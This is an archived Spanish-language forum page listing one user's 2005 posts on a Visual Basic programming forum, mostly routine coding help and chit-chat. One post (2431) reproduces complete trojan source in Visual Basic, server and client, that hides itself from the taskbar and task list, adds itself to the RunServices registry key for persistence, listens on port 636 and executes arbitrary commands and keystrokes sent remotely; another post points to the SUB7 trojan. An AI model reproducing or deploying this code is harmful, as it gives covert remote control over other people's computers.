|
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
Mensajes - RadicalEd
Páginas: 1 ... 96 97 [98] 99 100 ... 123
2426
« en: Sábado 5 de Febrero de 2005, 14:07 »
Mira este post a lo mejor te sirve. Chao
2427
« en: Sábado 5 de Febrero de 2005, 14:03 »
Pues no se te va a dar la tarea por hecha pero busca en el google info acerca del Crystal Reports, o aqui mismo en el foro que hay muchisima, que es para crear reportes desde Visual Basic, si ves un poquito mas arriba de los posts ahi un SubForo que se llama Crystal Reports. Ojala te sirva. Chao
2428
« en: Viernes 4 de Febrero de 2005, 20:31 »
Hola krisstina,
te envio un zip que encontre hace tiempo ahi, sobre chat, y me parece que por ahi explica lo de pasar ficheros por red, si nececitas algo mas escribeme a fap1603@hotmail.com, si puedo darte una mano, con gusto lo hare. ey fap1603, no es por joder, pero una de las politicas del foro es no hacerle las tareas a nadie, y si aquella persona del post no se pone a investigar al menos y mostrar si ya ha hecho algo; las tareas no se le hacen
2429
« en: Viernes 4 de Febrero de 2005, 20:21 »
Mira este enlace, lo hacen con .NET SHA1, revisa este tambien, explican algo. SHA1 Ojala te sirva. Chao
2430
« en: Viernes 4 de Febrero de 2005, 20:17 »
Para registrar un .OCX, segun creo yo que es lo que quieres registrar pon: Regsvr32.exe tu.ocx Ojala te sirva. Chao
2431
« en: Viernes 4 de Febrero de 2005, 20:11 »
'Declaraciones API Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As Long Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal _ dwProcessID As Long, ByVal dwType As Long) As Long Const RSP_SIMPLE_SERVICE = 1 'Por si no lo sabes, este evento se produce cuando se carga el formulario Private Sub Form_Load() On Error Resume Next App.TaskVisible = False 'Ocultar en la barra de tareas. Me.Visible = False 'Hace invisible el Formulario Dim H As Long, Ruta As String Dim Reg As Object 'Declaramos la variable Reg como un objeto 'registramos nuestro servicio y nos escondemos de ctrl+alt+supr: H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE) Set Reg = CreateObject("wscript.shell") 'Creamos un objeto, para modi- 'ficar el registro Ruta = "HKLM\software\microsoft\windows\currentversion\runservices\" 'Nos ingresamos en el registro para ejecutarnos cada vez que reinicien: Reg.RegWrite Ruta & App.EXEName, App.Path & "\" & App.EXEName & ".exe" Winsock1.localport = "636" 'establecemos el puerto del troyano Winsock1.Listen 'Nos ponemos a escuchar, a la espera de una conexión End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'Si el winsock está abierto lo cerramos. If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID 'Aceptamos la conexión End Sub Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _ ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _ ByVal HelpContext As Long, CancelDisplay As Boolean) 'Si ocurre un error, cerramos y volvemos a escuchar. Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_Close() 'Si se cierra la conexión, volvemos a escuchar. Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next 'Si ocurre un error que lea la siguiente línea Dim data1 As String 'Declaramos la variable que recibirá los datos Winsock1.GetData data1 'Tomamos los datos que nos envían DoEvents 'Le devolvemos el "control" a Windows Select Case Mid(data1, 1, 10)'Nos fijámos que acción nos están mandando Case "#EJECUTAR#" 'Ejecuta el comando que se envíe Shell Mid(data1, 10, Len(data1) - 1), Right(data1, 1) Case "#SENDKEYS#" SendKeys Mid(data1, 10, Len(data1)) 'Envía las teclas al teclado Case "##OPENCD##" 'Habre la lectora de CDs mciSendString "set Cdaudio door open", returnstring, 127, 0 Case "#CLOSECD##" 'Cierra la lectora de CDs mciSendString "set Cdaudio door closed", returnstring, 127, 0 End Select End Sub
Cliente: ¯¯¯¯¯¯¯¯ Necesitarás varios controles, entre ellos el winsock, obvio. Nótese que los comandos que enviaremos (#EJECUTAR#, #SENDKEYS#,##OPENCD##,#CLOSECD##, etc) tienen 10 letras. Esto hace mucho más fácil la escritura del código. En este ejemplo necesitarás: 5 botones, tres cajas de texto, un timer con un intervalo de 1000, y el control winsock. Arréglalo para que te quede como en la FIG1, y luego cambia los nombres de los botones y demás cosas como en la FIG2. (No soy dibujante de Ascii Art, ni mucho menos, asi que no se quejen)FIG1: .-----------------------------------------------------------------. | Form1 _ X | |-----------------------------------------------------------------| | ___________________ .---------------. <Timer1> | | Label1 |Text1 | | Command1 | <Winsock1> | | |___________________| '---------------' | | | | __Frame1_____________________________________________________ | | |.----------------. .----------------. ___________________ | | | || Command2 | | Command4 | |Text2 || | | |'----------------' '----------------' |___________________|| | | |.----------------. .----------------. ___________________ | | | || Command3 | | Command4 | |Text3 || | | |'----------------' '----------------' |___________________|| | | |_____________________________________________________________| | '-----------------------------------------------------------------' FIG2: .-----------------------------------------------------------------. | Troyanos en Visual Basic, By Nemlim _ X | |-----------------------------------------------------------------| | ___________________ +---------------+ <Timer1> | | IP Number|255.255.255.255 | | Conectar | <Winsock1> | | |___________________| +---------------+ | | | | __Acciones___________________________________________________ | | |.----------------. .----------------. ___________________ | | | || Abrir CD | | Send Keys | |GeDzAc HaS YoU || | | |'----------------' '----------------' |___________________|| | | |.----------------. .----------------. ___________________ | | | || Cerrar CD | | Ejecutar | |C:\autoexec.bat || | | |'----------------' '----------------' |___________________|| | | |_____________________________________________________________| | '-----------------------------------------------------------------' '<!--Inicio del codigo del Fomulario1--!> '------------------------------------Fom1---------------------------------- Dim Conectado As Boolean Private Sub Form_Load() Timer1.Interval = 1000 End Sub Private Sub Command1_Click() If Text1.Text <> "" Then 'Nos fijamos que el campo text1 no este vacío Winsock1.Connect Text1.Text, 636 'Conectamos el winsock según el IP End If End Sub Private Sub Command2_Click() If Conectado = True Then Winsock1.SendData "##OPENCD##" End Sub Private Sub Command3_Click() If Conectado = True Then Winsock1.SendData "#CLOSECD##" End Sub Private Sub Command4_Click() If Conectado = True Then Winsock1.SendData "#SENDKEYS#" & Text2.Text End Sub Private Sub Command5_Click() Dim a As Variant If Conectado = True Then a = InputBox("Ingrese número de parámetro:" & vbCrLf & "vbHide=0" + _ vbCrLf & "vbNormalFocus=1" & vbCrLf & "vbMinimizedFocus=2" & vbCrLf + _ "vbMaximizedFocus=3" & vbCrLf & "vbNormalNoFocus=4" & vbCrLf + _ "vbMinimizedNoFocus=6") 'Pedimos ingresar el parámetro de ejecución 'Comprobamos que lo que ingresamos sean números If InStr(1, a, "1234567890") <> 0 And Len(a) = 1 Then 'Si es así se envían los datos Winsock1.SendData "#EJECUTAR#" & Text3.Text & a End If End If End Sub Private Sub Form_Unload(Cancel As Integer) Winsock1.Close 'Cerramos el winsock End Sub Private Sub Timer1_Timer() 'Si el winsock está conectado, cambiamos la variable a true If Winsock1.State <> sckConnected Then Conectado = False Else Conectado = True End If End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Conectado = True End Sub Private Sub Winsock1_Error(ByVal Number As Integer, Description As _ String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As _ String, ByVal HelpContext As Long, CancelDisplay As Boolean) 'En caso de error cerramos la conexión Winsock1.Close End Sub '<!--Fin del codigo del Fomulario1--!>
Extraido de un tuto basico de programación para controlar remotamente un pc. PD. coloca tus mensajes dentro del primer post que pones, no crees otro nuevo. Ojala te sirva. Chao
2432
« en: Viernes 4 de Febrero de 2005, 19:51 »
ey no se si es cosa mia, pero desde ayer he visto que con siertos enlaces no se puede ingresar a la pagina, por ejemplo ayer no podia entrar con www.foros.solocodigo.com ni con foros.solocodigo.com, y hoy no pude entrar no www.foros.solocodigo.com ni con www.solocodigo.com, hay algun error en el servidor o que. Gracias chao.
2433
« en: Jueves 3 de Febrero de 2005, 20:43 »
Troyanos, Troyanos. SUB7 2.0 Final Version.
2434
« en: Jueves 3 de Febrero de 2005, 20:36 »
Cuando a mi me pasa esto, lo que le doy es abrir al formulario no el project, y lo que de pronto tienen con error es que algun control no esta disponible y este control se te cambie por un Picture; trata de abrir el formulario solo y crea un nuevo project para todos los formularios.
2435
« en: Jueves 3 de Febrero de 2005, 18:15 »
Paso casi todos los dias conectado como 10 horas, no vale?
2436
« en: Jueves 3 de Febrero de 2005, 17:53 »
A ver quien no ha intentado darle al cubito este , pues aqui tienen para resolverlo. Rubik.
2437
« en: Jueves 3 de Febrero de 2005, 17:43 »
2438
« en: Jueves 3 de Febrero de 2005, 16:38 »
Aunque no lo crean la programación no era nada para mi, los PC's me valian y no sabia ni que era un windows hace 5 años, pero apenas conoci los lenguajes de programacion que fue el C a quien me presentaron primero, llevo al menos 2 o 3 años programando.
2439
« en: Jueves 3 de Febrero de 2005, 16:24 »
Puedes hacerlo con el control Winsock o Manejar las api's de control de sockets, y ademas utilizar las api's para apagar el equipo "ExitWindowsEx" y las constantes EWX_SHUTDOWN, EWX_REBOOT, te recomiendo esta paginaALLAPI, contiene una gran lista de api's para el manejo de estos problemillas. Ojala te sirva. Chao
2440
« en: Jueves 3 de Febrero de 2005, 16:17 »
Hola a todos porque en el foro no se crea un enlace para acceder al FTP, asi se podria acceder mucho mas rapido a este sin necesidad de aprenderse el enlace. Bueno es una sugerencia, a ver que opinan.
Mira el Foro FTP, ya de ahi se puede colocar un enlace en tu firma o el Admin la puede colocar por ahi pero de todas formas la entrada al FTP por el foro es este. Ok. Chao
2441
« en: Jueves 3 de Febrero de 2005, 16:03 »
1.- tengo varios textboxs, quiero en que cada uno de ellos, al presionar la tecla enter (solo de ejmplo ya que puede ser cualquier evento) o 13(ascii) me realize alguna accion, por ejemplo de bajar al proximo text box... Private Sub Text1_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then Text2.SetFocus End If End Sub
La segunda sino se como pueda ser.
2442
« en: Martes 1 de Febrero de 2005, 22:15 »
Por que es mala idea ser informatico
2443
« en: Martes 1 de Febrero de 2005, 22:11 »
Hola chicos de solocodigo, he aqui una pequeña pregunta, parecera tonta pero es que no sabo, he montado una pagina en i(españa) y no se como administrarla para subirle archivos, y es que soy nuevo en esto, no quiero hacer paginas web ni nada por el estilo, es solo para archivar fotos en la pagina y colocar los enlaces, pero ni idea. Me pueden ayudar? Gracias chao.
2444
« en: Martes 1 de Febrero de 2005, 02:02 »
Es tan dificil colocarle un experience a XP.
Por si algo yo tampoco sabia jejeje[/size]
2445
« en: Martes 1 de Febrero de 2005, 01:01 »
Eso es lo que mas me sorprende porque yo no lo he hecho.
A lo mejor fue el Admin por que nadie tiene los derechos para hacerlo, sino eres tú o él.
2446
« en: Martes 1 de Febrero de 2005, 00:42 »
hey haz movido 2 posts del foro que moderas el de Dudas informáticas, y no te das cuenta como lo haz hecho.
2447
« en: Martes 1 de Febrero de 2005, 00:24 »
No me referia a esa bolsa, sino a la bolsa de los que no tenienen cientos de dolares para sus programas. jejeje Es que apenas me hablan de dinero, money, efectivo o cash se me pone la piel de gallina. Es que lo tome por ese lado.
2448
« en: Martes 1 de Febrero de 2005, 00:07 »
'tonces tu solo acomodale la sintaxis, yo me voy mas a que le falta el ";" mira a ver si queda bien asi.
2449
« en: Lunes 31 de Enero de 2005, 23:57 »
De pronto no te falta el ";" al final de la sentencia sql.
2450
« en: Domingo 30 de Enero de 2005, 18:51 »
Te has metido en la bolsa tambien. Aunque no creas mantengo al tanto del Nasdaq que es el de las empresas de tecnologia, pero como soy mas pelado que pepa de guama, 'tonces no me arriesgo a perder los pocos centavos que tengo, y en lo que me gustaria invertir ahora seria en google. JEJEJE Ya hablo como todo un empresario
Páginas: 1 ... 96 97 [98] 99 100 ... 123
|
|
|